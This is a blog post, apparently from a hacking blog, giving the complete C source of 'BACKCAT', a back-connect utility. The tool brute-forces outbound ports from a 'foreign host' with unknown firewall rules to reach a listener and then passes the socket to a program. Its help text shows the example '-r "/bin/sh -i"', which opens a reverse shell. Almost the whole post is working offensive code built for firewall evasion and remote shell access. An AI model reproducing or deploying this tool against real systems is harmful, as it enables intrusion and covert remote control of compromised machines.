[+] Outline:
A simple utility for making life easier when back-connecting from a foreign host where firewall rules are not known. Run a copy locally specifying a port range to listen on (optionally specify another program to handle the connection). And on the server run a copy specifying the port destination range to try and 'brute-force' (optionally specify a local port range to bind to instead of taking the first available / and optionally specify a program to pass the connection to, e.g. "/bin/sh -i").
[+] Notes:
Port range limited to 1024 per process due to using select() instead of poll(). Reason is because debugging poll on older distros gives me a headache!
[+] C source:
/* #####################################
* BACKCAT::Back-connect Utility
* Ver: 0.2 | OS: *nix | by: r0ng
* (Hackers2devnull.blogspot.co.uk)
* #####################################
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/resource.h>
#include <fcntl.h>
#include <unistd.h>
#include <getopt.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
#include <dirent.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/tcp.h>
#define VERSION "0.2"
static int silent = 0;
static void print_help ()
{
printf ("BACKCAT::Back-connect Utility v%s\n\n", VERSION);
printf ("Options:\n"
" -m, --mode=client|server start application as \"client\" (bind and connect) or as \"server\" (bind and listen)\n"
" -h, --host host to connect to\n"
" -p, --port port or ports range. Example: -p 2000-3000\n"
" -b, --bind port to bind or ports bind range (by default use the first available port). Example: -b 5000-6000\n"
" -r, --run=PROGRAM program to exec after connect\n"
" -s, --silent suppress any output\n"
" --version display version information and exit\n"
" --help display this help and exit\n"
" Example (remote host): ./backcat -m client -h yourip -p 2000-3000 -r \"/bin/sh -i\" \n"
" Example (local host) : ./backcat -m server -p 2000-3000 \n"
);
printf ("\n");
}
static int parse_ports (const char *range, int *start_port, int *end_port)
{
char *next;
*start_port = strtol (range, &next, 10);
if (next && next[0] == '-')
*end_port = strtol (next + 1, NULL, 10);
return 1;
}
static void exec_app (char *app, int fd)
{
int pid;
char *p, *tmp;
printf ("Passing control to the specified program \n");
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
p = strstr (app, " ");
tmp = strstr (app, " ");
if (p)
p++;
if (tmp)
*tmp = '\0';
execlp(app, app, p, NULL);
}
int is_in_array (int *array, int array_len, int item)
{
int i;
for (i = 0; i <= array_len; i++) {
if (array[i] == item)
return 1;
}
return 0;
}
static void run_server (int start_port, int end_port, const char *app)
{
int i, j;
int total_ports = (end_port - start_port) + 1;
int *sockets;
int yes=1;
fd_set master;
fd_set read_fds;
int fdmax;
socklen_t addrlen;
struct sockaddr_storage remoteaddr;
int newfd;
char remote_ip[100];
int nbytes;
int fd_stdin;
int read_ret = 0, write_ret;
unsigned char buf[1024];
int accepted_fd = 0;
int flag = 1;
sockets = malloc (sizeof (int) * total_ports);
FD_ZERO(&master);
FD_ZERO(&read_fds);
fd_stdin = STDIN_FILENO;
fdmax = 1 + fd_stdin;
j = 0;
for (i = start_port; i <= end_port; i++) {
struct sockaddr_in name;
sockets[j] = socket (AF_INET, SOCK_STREAM, 0);
if (sockets[j] < 0) {
printf ("error: could not create socket. %s\n", strerror (errno));
return;
}
setsockopt (sockets[j], SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int));
memset (&name, 0, sizeof (name));
name.sin_family = AF_INET;
name.sin_port = htons (i);
name.sin_addr.s_addr = htonl (INADDR_ANY);
if (bind (sockets[j], (struct sockaddr *) &name, sizeof (name)) < 0) {
printf ("error: could not bind socket on port %d. %s\n", i, strerror (errno));
return;
}
if (listen (sockets[j], 128) == -1) {
printf ("error: could not listen on port %d. %s\n", i, strerror (errno));
return;
}
FD_SET(sockets[j], &master);
fdmax = sockets[j];
j++;
}
if (!silent)
printf ("Server is listening on %d ports\n", total_ports);
FD_SET(fd_stdin, &master);
while (1) {
read_fds = master;
if (select (fdmax + 1, &read_fds, NULL, NULL, NULL) == -1) {
printf ("error: select () failed. %s\n", strerror (errno));
continue;
}
for (i = 0; i <= fdmax; i++) {
if (FD_ISSET(i, &read_fds)) {
if (i == fd_stdin) {
read_ret = read(fd_stdin, buf, sizeof(buf));
if (accepted_fd) {
if (send (accepted_fd, buf, read_ret, 0) == -1) {
printf ("error: send () failed. %s\n", strerror (errno));
}
read_ret = 0;
}
} else if (is_in_array (sockets, total_ports, i)) {
addrlen = sizeof remoteaddr;
newfd = accept (i, (struct sockaddr *)&remoteaddr, &addrlen);
if (newfd == -1) {
printf ("error: accept () failed. %s\n", strerror (errno));
} else {
FD_SET(newfd, &master);
if (newfd > fdmax) {
fdmax = newfd;
}
int result = setsockopt(newfd, IPPROTO_TCP, TCP_NODELAY, (char *) &flag, sizeof(int));
if (!silent)
printf("new connection from %s:%d on socket %d\n",
inet_ntop(remoteaddr.ss_family,
&(((struct sockaddr_in*)&remoteaddr)->sin_addr),
remote_ip, 100),
ntohs (((struct sockaddr_in*)&remoteaddr)->sin_port),
newfd);
accepted_fd = newfd;
}
} else {
if ((nbytes = recv(i, buf, sizeof buf, 0)) <= 0) {
if (nbytes == 0) {
if (!silent)
printf("socket %d closed\n", i);
} else {
printf ("socket %d, %s\n", i, strerror (errno));
}
close(i);
FD_CLR(i, &master);
accepted_fd = 0;
} else {
buf[nbytes] = '\0';
printf ("%s\n", buf);
}
}
}
}
}
}
static int run_client (char *host, int start_port, int end_port, int bind_port, char *app)
{
int i, numbytes;
int sockfd;
char out_buf[] = "magictoken";
char in_buf[1024];
int yes=1;
struct linger fix_ling;
for (i = start_port; i <= end_port; i++) {
struct sockaddr_in sa_dst;
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf ("error: could not create socket. %s\n", strerror (errno));
continue;
}
fix_ling.l_onoff = 1;
fix_ling.l_linger = 0;
setsockopt(sockfd, SOL_SOCKET, SO_LINGER, &fix_ling, sizeof(fix_ling));
setsockopt (sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int));
if (bind_port > -1) {
struct sockaddr_in name;
memset (&name, 0, sizeof (struct sockaddr_in));
name.sin_family = AF_INET;
name.sin_port = htons (bind_port);
name.sin_addr.s_addr = htonl (INADDR_ANY);
if (bind (sockfd, (struct sockaddr *) &name, sizeof (struct sockaddr)) < 0) {
if (!silent)
printf ("error: could not bind socket on port %d. %s\n", bind_port, strerror (errno));
return 0;
}
}
memset(&sa_dst, 0, sizeof(struct sockaddr_in));
sa_dst.sin_family = AF_INET;
sa_dst.sin_port = htons (i);
sa_dst.sin_addr.s_addr = inet_addr (host);
if (connect(sockfd, (struct sockaddr *)&sa_dst, sizeof(struct sockaddr)) == -1) {
close(sockfd);
continue;
}
if (!silent) {
struct sockaddr_in sin;
socklen_t addrlen = sizeof(sin);
int local_port = 0;
if (getsockname (sockfd, (struct sockaddr *)&sin, &addrlen) == 0 &&
sin.sin_family == AF_INET &&
addrlen == sizeof(sin))
{
local_port = ntohs(sin.sin_port);
}
printf("Connection establish. Local-Port:%d Remote-Port:%d\n", local_port, i);
}
if (app) {
exec_app (app, sockfd);
return 1;
} else {
if ((numbytes = send (sockfd, out_buf, strlen (out_buf), 0)) == -1) {
printf ("error: send () failed. %s\n", strerror (errno));
close(sockfd);
continue;
}
if (!silent)
printf("client sent %d bytes: %s\n", numbytes, out_buf);
if ((numbytes = recv(sockfd, in_buf, sizeof (in_buf) -1, 0)) == -1) {
printf ("error: recv () failed. %s\n", strerror (errno));
close (sockfd);
continue;
}
in_buf[numbytes] = '\0';
if (!silent)
printf("client received %d bytes: %s\n", numbytes, in_buf);
close(sockfd);
if (!strcmp (in_buf, out_buf))
return 1;
}
}
return 0;
}
static void run_clients (char *host, int start_port, int end_port, int start_bind, int end_bind, char *app)
{
if (start_bind == -1) {
if (run_client (host, start_port, end_port, -1, app))
return;
} else {
int i;
for (i = start_bind; i <= end_bind; i++) {
if (run_client (host, start_port, end_port, i, app))
return;
}
}
if (!silent)
printf ("Failed to establish connection!\n");
}
int main (int argc, char *argv[])
{
int start_port = -1;
int end_port = -1;
int start_bind = -1;
int end_bind = -1;
char ch;
int option_index = 0;
char *host = NULL;
char *mode = NULL;
char *app = NULL;
static const struct option long_options[] = {
{"mode", required_argument, NULL, 'm'},
{"host", required_argument, NULL, 'h'},
{"port", required_argument, NULL, 'p'},
{"bind", required_argument, NULL, 'b'},
{"run", required_argument, NULL, 'r'},
{"silent", required_argument, NULL, 's'},
{"version", no_argument, NULL, 1},
{"help", no_argument, NULL, 0},
{0, 0, 0, 0}
};
if (argc < 2) {
print_help ();
return 0;
}
while ((ch = getopt_long (argc, argv, "m:h:p:b:r:s", long_options, &option_index)) != -1) {
switch (ch) {
case 'm':
mode = strdup (optarg);
break;
case 'h':
host = strdup (optarg);
break;
case 'p':
if (parse_ports (optarg, &start_port, &end_port) == 0) {
printf ("Failed to parse port range \"%s\". Exiting.\n", optarg);
return 1;
}
break;
case 'b':
if (parse_ports (optarg, &start_bind, &end_bind) == 0) {
printf ("Failed to parse port range \"%s\". Exiting.\n", optarg);
return 1;
}
break;
case 'r':
app = strdup (optarg);
break;
case 's':
silent = 1;
break;
case 1:
fprintf (stdout, "BACKCAT::Back-connect Utility v%s\n", VERSION);
fprintf (stdout, "By ~r0ng (Hackers2devnull.blogspot.co.uk)\n");
return 0;
case 0:
print_help ();
return 0;
default:
print_help ();
return 0;
}
}
if (mode == NULL) {
printf ("\"mode\" parameter is not specified! Please specify either \"client\" or \"server\". Exiting.\n");
return 1;
}
if (strcmp (mode, "client") && strcmp (mode, "server")) {
printf ("Invalid \"mode\" parameter! Please specify either \"client\" or \"server\". Exiting.\n");
return 1;
}
if (start_port == -1) {
printf ("Port or port range is not specified! Exiting.\n");
return 1;
}
if (end_port > -1 && end_port < start_port) {
printf ("Incorrect port range specified! Exiting.\n");
return 1;
}
if (end_bind > -1 && end_bind < start_bind) {
printf ("Incorrect port range specified! Exiting.\n");
return 1;
}
if (end_port == -1)
end_port = start_port;
if (end_bind == -1)
end_bind = start_bind;
if (!strcmp (mode, "server")) {
run_server (start_port, end_port, app);
} else if (!host) {
printf ("\"host\" is not specified. Exiting.\n");
} else {
run_clients (host, start_port, end_port, start_bind, end_bind, app);
}
return 0;
}
(If you find this useful, why not checkout a advert below to support the blog? :O ) ~r0ng
No comments:
Post a Comment